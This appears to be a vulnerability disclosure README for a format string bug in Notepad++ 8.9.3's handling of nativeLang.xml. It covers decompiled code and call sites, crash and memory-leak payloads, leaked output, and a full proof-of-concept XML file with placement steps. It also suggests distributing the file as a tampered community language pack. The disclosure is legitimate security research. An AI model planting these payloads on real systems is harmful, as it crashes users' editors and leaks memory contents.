CVE-2026-3008 — Notepad++ 8.9.3 Format String Injection via nativeLang.xml

Vulnerability

When a search operation produces results, `sub_1400916C0` formats a hit count label by retrieving a localized string from `nativeLang.xml` and passing it directly as the format string to `wsprintfW`:

```
sub_140099E60(v37, v51, *(unsigned int *)(a1 + 196));  // get localized string
v38 = (const WCHAR *)v51;
if ( v53 > 7 )
    v38 = v51[0];                                       // SSO: heap pointer
wsprintfW((LPWSTR)(a1 + 0xC8), v38);                   // v38 is the format string
```

The string originates from the `<find-result-hits>` attribute in `nativeLang.xml` with no validation at any point in the data flow:

```
nativeLang.xml
  → TinyXML parser          (reads XML attribute, no content validation)
  → NativeLangSpeaker       (UTF-8 → UTF-16 conversion, no validation)
  → sub_140099E60           ($INT_REPLACE$ substitution — format specifiers
survive)
  → wsprintfW(buf, v38)     (v38 used as format string argument, not data)
```

`wsprintfW` is called with only two arguments — no variadic data arguments. Any format specifiers in `v38` read values from the x64 calling convention's argument slots (R8, R9, stack), which contain leftover register garbage.

Affected Component

Field	Value
Function	`sub_1400916C0` (Find Results panel initializer)
Sink address	`0x140091E6D`
Trigger	Any search that produces results (Find All, Find in Files, Mark All, Replace All)

`sub_1400916C0` is called from four sites in the FindResults WndProc (`sub_140089BF0`):

Address	Trigger
`0x14008B63B`	Find in Files
`0x14008B72D`	Find All in Current / All Documents
`0x14008B97E`	Replace All
`0x14008B9FE`	Mark All

Impact

Crash — `%s` (DoS)

```
<find-result-hits value="%s%s%s%s%s%s%s%s%s"/>
```

Each `%s` interprets a junk register or stack value as a `WCHAR*` pointer. The first invalid address triggers an immediate access violation (`STATUS_ACCESS_VIOLATION`, `0xC0000005`). Notepad++ crashes on every subsequent search until the malicious file is removed — reliable, one-shot DoS.

Information Disclosure — `%08lx`

```
<find-result-hits value="%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx"/>
```

Stack and register contents are read as DWORD values and formatted as hex, visible in the Find Results panel tab. Observed output from live test:

```
8000c.d.5852bb18.0.1f8.61e.e0702.7b1052e0
```

Values such as `5852bb18` and `7b1052e0` are truncated 64-bit pointer fragments.

Exploitation Ceiling

`wsprintfW` (user32.dll) does **not** support `%n` — there is no write-what-where primitive. Its hardcoded 1024-character output limit matches the destination buffer size exactly, ruling out heap buffer overflow. The vulnerability is confirmed as **DoS + information disclosure**. Code execution is not achievable through this format string alone.

Attack Vector

`nativeLang.xml` does not exist by default — English-language installs are unaffected. When a user selects a non-English language via Settings → Preferences → General → Localization, Notepad++ writes the corresponding file to:

Edition	Path
Installer	`%APPDATA%\Notepad++\nativeLang.xml`
Portable	`<npp_directory>\nativeLang.xml`

Of the 94 shipped localization files, **43 contain the `<find-result-hits>` element**. Users of those languages are vulnerable if their `nativeLang.xml` is tampered with — for example, via a malicious community language pack distributed through forums or download sites. The attacker can include legitimate translations for all other strings, making the file appear normal.

Proof of Concept

Place the following file at `<npp_directory>\nativeLang.xml` (portable) or `%APPDATA%\Notepad++\nativeLang.xml` (installer), then open Notepad++ and perform any search that produces results (Ctrl+F → Find All in Current Document).

```xml
<?xml version="1.0" encoding="UTF-8" ?>
<NotepadPlus>
    <Native-Langue name="PoC" filename="poc.xml" version="8.9.3">
        <Menu><Main></Main></Menu>
        <MiscStrings>
            <find-result-hits value="%s%s%s%s%s%s%s%s%s"/>
        </MiscStrings>
    </Native-Langue>
</NotepadPlus>
```

Result: Notepad++ crashes immediately with an access violation in `wsprintfW`.

Releases

No releases published

Packages

No packages published

Contributors 1

llgsjsm h4zel